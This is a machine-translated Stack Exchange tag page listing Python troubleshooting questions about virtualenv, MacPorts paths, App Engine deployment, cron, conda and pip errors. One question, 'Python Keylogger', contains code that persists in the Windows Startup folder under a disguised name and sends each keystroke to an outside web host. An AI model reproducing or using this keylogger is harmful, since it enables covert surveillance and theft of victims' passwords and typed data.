Questions tagged «python»

Python是一种解释性的通用高级编程语言。编程问题不在主题之列。应该在Stack Overflow(http://www.stackoverflow.com)上询问有关Python使用的问题。

0
在不使用VCS的情况下在virtualenv中安装特定的Not-In-Repository版本的python-dev
我读过这个问题: 如何在没有sudo的情况下安装python-dev? 然而,它并没有完全涵盖我所面临的问题。 我有一个安装了系统python 2.6.6的Debian 6.0.9服务器。我们在virtualenvs中分别安装了几个运行python 2.7.5或2.7.3的应用程序。应用程序安装在/ home / user / app / appname /中,而virtualenv python将是/home/user/.virtualenvs/appname/bin/python 我不能简单地在python 2.6.6的系统中安装python2.7以获得2.7.5,并且我不能做python-dev的apt安装,因为它想要为python 2.7安装python-dev。 x而是只看到2.6.6。 我发现有几个网站建议从源代码安装,但是从源代码安装的唯一细节表明我应该拉出mercurial分支( https://docs.python.org/devguide/ ),但我无法弄清楚如何验证我使用此方法获得的python-dev的版本。 一旦我找到了我的2.7.5和2.7.3 python安装的python-dev,那么我需要知道如何在我的virtualenvs中安装。我找不到很好的详细步骤从源安装和指定自定义或非标准的python二进制路径,以使python-dev工作,一旦我找到了哪里得到我的版本的python-dev。 我发现了这个问题: 如何让apt-get为不同版本的python安装python包? 这表示要为我想要安装python-dev(或任何python包)的python版本更改/ usr / share / python / debian_defaults文件,然后使用apt-get进行安装。然而,这不起作用,因为我不能使用apt-get,因为python 2.7没有安装到“系统”,所以我无法通过apt使用python2.7软件包。 这让我留下的具体问题是(我相信): 我在哪里下载python-dev的源代码副本用于我的python版本(2.7.5和2.7.3)? 如何在virtualenvs中将这个python-dev软件包安装到python的自定义位置? 我脑子里还有一个非特定的问题,我会给出一个答案的额外分数:为什么python管理信息很难找到,哪里有关于这方面的最佳实践的文档的良好来源python库和包的管理工作类型? 感谢大家的任何意见!如果有更好的方式来询问这个问题/一组问题,或者我是否需要包含任何其他信息,或者我是否应该在stackexchange / stackoverflow站点的不同部分询问,请告诉我。 PS:我试图创建一个python-dev标签,因为我已经看到许多涉及python-dev的问题,但标签创建需要300个声誉点。有人想创建标签吗?

2
安装MacPorts后,让PATH适合python
我无法导入我刚刚安装MacPorts的一些python库(PIL,psycopg2)。我浏览了这些论坛,并试图调整我的 PATH 变量 ~/.bash_profile 为了解决这个问题但它不起作用。 我添加了PIL和psycopg2的位置 PATH。 我知道终端正在使用python的一个版本 /usr/local/bin 而不是MacPorts安装的那个 /opt/local/bin。 我是否需要使用MacPorts版本的Python以确保在终端中使用python时PIL和psycopg2在sys.path上? 我应该切换到MacPorts版本的Python,还是会导致更多问题? 如果它有用,这里有更多的事实: 安装了PIl和psycopg2 /opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages which python 回报 /usr/bin/python $ echo $PATH 返回(我将每个路径分开以便于阅读): :/opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/ :/opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages :/opt/local/bin :/opt/local/sbin :/usr/local/git/bin :/usr/bin :/bin :/usr/sbin :/sbin :/usr/local/bin :/usr/local/git/bin :/usr/X11/bin :/opt/local/bin 在python中, >>> sys.path 收益: /Library/Frameworks/SQLite3.framework/Versions/3/Python /Library/Python/2.6/site-packages/numpy-override /Library/Frameworks/GDAL.framework/Versions/1.7/Python/site-packages /Library/Frameworks/cairo.framework/Versions/1/Python /System/Library/Frameworks/Python.framework/Versions/2.6/lib/python26.zip /System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6 /System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/plat-darwin /System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/plat-mac /System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/plat-mac/lib-scriptpackages …

0
将Dash部署到Google App Engine python3运行时的问题
我正在尝试使用Python 3灵活运行时将一个非常基本的Dash应用程序部署到GAE,但部署始终失败:“错误:(gcloud.app.deploy)错误响应:[13]部署期间发生内部错误”。我的app在本地运行正常,我怀疑这个问题与GAE的python3运行时和Dash的依赖关系有关 我的app.yaml文件如下: env: flex entrypoint: gunicorn -b :$PORT main:app runtime_config: python_version: 3 manual_scaling: instances: 1 resources: cpu: 1 memory_gb: 1 disk_size_gb: 10 我已经尝试将memory_gb增加到5,但我仍然得到错误。 我的main.py文件如下: import dash import dash_html_components as html import dash_core_components as dcc import plotly.graph_objs as go from dash.dependencies import Input, Output, State, Event from flask import Flask …


0
crontab上的Python脚本不起作用
我有这个用Python编写的脚本,它应该通过Telegram发送“world.zip”文件。 #!/usr/bin/python3 ... bot.chat(chat).send_file(path="/home/marcobuster/Server/world.zip") 如果我使用启动脚本 python3 "Backup.py" 有用。 好。但现在,我想每小时运行一次这个脚本。所以,我更新了crontab列表,我添加了这些东西 (marcobuster是我的用户) 00 * * * * sudo -u marcobuster /usr/bin/python3 /home/marcobuster/Server/Backup.py > /home/marcobuster/Server/crontab_error.txt 2>&1 但脚本不起作用。他给了我这个例外: Traceback (most recent call last): ... FileNotFoundError: [Errno 2] No such file or directory: '/home/marcobuster/Server/world.zip' 我重复一遍,通过使用它来启动它可以正常运行 python3 "Backup.py"。 怎么了? UPDATE :我试过这样做: chmod +x Backup.py ./Backup.py 我有同样的错误: …
1 linux  ubuntu  script  python  cron 

0
Python Keylogger
我正在尝试制作一个在启动时自动运行的python键盘记录器。这是python代码 import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys userName = getpass.getuser() filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName if os.path.exists(filePath): if os.path.isfile(filePath+'systemService.exe')==False: try: shutil.copy2(sys.argv[0],filePath+'systemService.exe') except: pass def OnKeyBoardEvent(event): try: params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)}) conn = httplib.HTTPConnection("keylogging.mywebcommunity.org") conn.request("GET","/index.php?"+params) except: pass return True hook_manager = pyHook.HookManager() hook_manager.KeyDown = OnKeyBoardEvent hook_manager.HookKeyboard() …

1
如何启动matlab守护进程
我每天都有一个plist调用python脚本。python脚本根据它们的成功调用不同的matlab例程。当我使用计算机时,这完全正常,但是当我不使用它时,守护程序会给我以下错误: Traceback (most recent call last): File "/Users/<username>/Documents/daemontest/matlab_batcher.py", line 108, in <module> eng = matlab.engine.start_matlab() File "/Library/Python/2.7/site-packages/matlab/engine/__init__.py", line 92, in start_matlab eng = MatlabEngine(option) File "/Library/Python/2.7/site-packages/matlab/engine/matlabengine.py", line 230, in __init__ self.__dict__["_matlab"] = pythonengine.createMATLAB(tokens) matlab.engine.EngineError: MATLAB process can not be created. 我在节能首选项中勾选了“防止电脑睡眠”和未注明的“启用电源”,所以我相信计算机不会进入睡眠状态。仍然无法启动matlab。 问题可能是matlab许可证问题吗?如果没有“活动”或登录,我该如何启动matlab?
1 macos  python  matlab  plist 

1
无法在Windows 7 64位中进行工作python
尝试安装python 3.13 64位,3.13 32位和2.7 64位。但它们似乎都不起作用。 3.13安装后我运行python.exe,它显示: Fatal Python error: Py_Initialize: can't initialize sys standard streams ImportError: No module named encodings.utf_8 当我运行python.exe(2.7版本)时,它会打印: No module named site 我不知道还能做什么。我到处搜索,但似乎没有人有同样的错误。 我在Windows 7 64位Home Premium上运行它。你需要知道的任何事情只要问我。

1
conda删除openssl后,python坏了
在尝试解决包依赖性问题时,我使用conda来卸载openssl,因为这似乎是具有不满足规范的包之一。然而,一旦我这样做,一切都破了: conda被破坏了:任何使用conda的尝试都会导致“错误:root:找不到散列md5的代码”iPython破坏了:我得到了相同的错误消息pip被破坏:再次出现相同的错误消息 我已经尝试过brew install openssl,但这只返回已安装openssl的消息。
1 macos  python  openssl 

1
点击安装virtualenv永远在Windows 7上
我正在尝试设置所有内容,以便在Windows 7笔记本电脑上开始使用python和Django进行开发。我已经从这里安装了python 2.7.11 并使用get-pip.py脚本和本网站的说明安装了pip 。现在我正在尝试安装virtualenv,因为我也遵循heroku的教程开始使用python来表明这样做,所以我运行命令“pip install virtualenv”但是命令提示只是一直停留在显示典型的白色破折号无休止地闪烁着。 我能做什么?我只是想通过设置阶段并开始用Django开发实际的东西。我一直在考虑不使用pip,但是我将如何安装软件包呢?我应该从头开始使用带有Ubuntu的虚拟机吗?

0
在python 3.5上安装customplot
当我在pycharm上导入customplot时遇到以下错误(python 3.5)在命令提示符下尝试导入sipdistutils但没有找到分布。 收集qcustomplot使用缓存https://files.pythonhosted.org/packages/72/a0/d19d35b39b89deca725a5ebcdd0ecfdca358dd17225e6e13a1c7d36c4ec0/qcustomplot-1.3.1-1.tar.gz 从命令python setup.py egg_info完成输出: Traceback (most recent call last): File "<string>", line 1, in <module> File "C:\Users\WickedWitch\AppData\Local\Temp\pycharm-packaging\qcustomplot\setup.py", line 5, in <module> from sipdistutils import build_ext ImportError: No module named 'sipdistutils' ---------------------------------------- 命令“python setup.py egg_info”失败,错误代码1在C:\ Users \ WickedWitch \ AppData \ Local \ Temp \ pycharm-packaging \ qcustomplot \


1
在Vim中更改pythonpath
我正在使用Vim进行Python编码。问题是,我用Python 3编写,Vim设置只包含Python 2.7路径。这不允许我使用插件(如python-mode)进行自动切换和运行脚本。我是否必须使用Python 3支持重新编译Vim(当前vim --version显示“-python3”)或者我可以简单地添加/usr/lib/python3到Vim的$ pythonpath吗? 我的操作系统是Arch Linux。
1 vim  python  python3 


1
Pip安装不断抛出奇怪的“ImportError”
我一直在尝试使用pip安装一些软件包并pyudev不断抛出导入错误。我不知道为什么它只发生在pyudev。它在我的其他计算机上安装得很好。这是命令和输出: $ sudo pip install pyudev Collecting pyudev Downloading pyudev-0.16.1.tar.gz (74kB) 100% |################################| 77kB 882kB/s Traceback (most recent call last): File "<string>", line 20, in <module> File "/tmp/pip-build-1Pk9rC/pyudev/setup.py", line 55, in <module> packages=setuptools.find_packages(), File "/usr/lib/python2.7/distutils/core.py", line 151, in setup dist.run_commands() File "/usr/lib/python2.7/distutils/dist.py", line 953, in run_commands self.run_command(cmd) File "/usr/lib/python2.7/distutils/dist.py", line …

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.